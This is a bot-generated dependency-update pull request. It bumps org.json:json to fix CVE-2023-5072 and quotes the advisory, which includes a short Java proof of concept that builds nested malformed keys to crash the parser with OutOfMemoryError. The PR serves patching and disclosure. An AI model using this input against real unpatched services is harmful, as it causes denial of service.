fix(deps): update dependency org.json:json to v20231013 [security]

[renovate-bot]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
org.json:json	20230618 -> 20231013

GitHub Vulnerability Alerts

CVE-2023-5072

Summary

A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using \ to escape special characters, including \ itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of \ characters in the escaped string.

Severity

High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.

Proof of Concept

package orgjsonbug;

import org.json.JSONObject;

/**
 * Illustrates a bug in JSON-Java.
 */
public class Bug {
  private static String makeNested(int depth) {
    if (depth == 0) {
      return "{\"a\":1}";
    }
    return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}";
  }

  public static void main(String[] args) {
    String input = makeNested(30);
    System.out.printf("Input string has length %d: %s\n", input.length(), input);
    JSONObject output = new JSONObject(input);
    System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output);
  }
}

When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.

Further Analysis

The issue is fixed by this PR.

Timeline

Date reported: 07/14/2023
Date fixed:
Date disclosed: 10/12/2023

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Release Notes

douglascrockford/JSON-java (org.json:json)

v20231013

Compare Source

Pull Request	Description
#​793	Reverted #​761
#​792	update the docs for release 2023101
#​783	optLong vs getLong inconsistencies
#​782	Fix XMLTest.testIndentComplicatedJsonObjectWithArrayAndWithConfig() for Windows
#​779	add validity check for JSONObject constructors
#​778	Fix XMLTest.testIndentComplicatedJsonObjectWithArrayAndWithConfig() for Windows
#​776	Update [JUnit to version 4.13.2
#​774	Removing unneeded synchronization
#​773	Add optJSONArray method to JSONObject with a default value
#​772	Disallow nested objects and arrays as keys in objects
#​779	Unit test cleanup
#​769	Addressed Java 17 compile warnings
#​764	Update CodeQL action version
#​761	Add module-info
#​759	JSON parsing should detect embedded
#​753	Updated new object methods
#​752	Fixes possible unit test bug when compiling/testing on Windows

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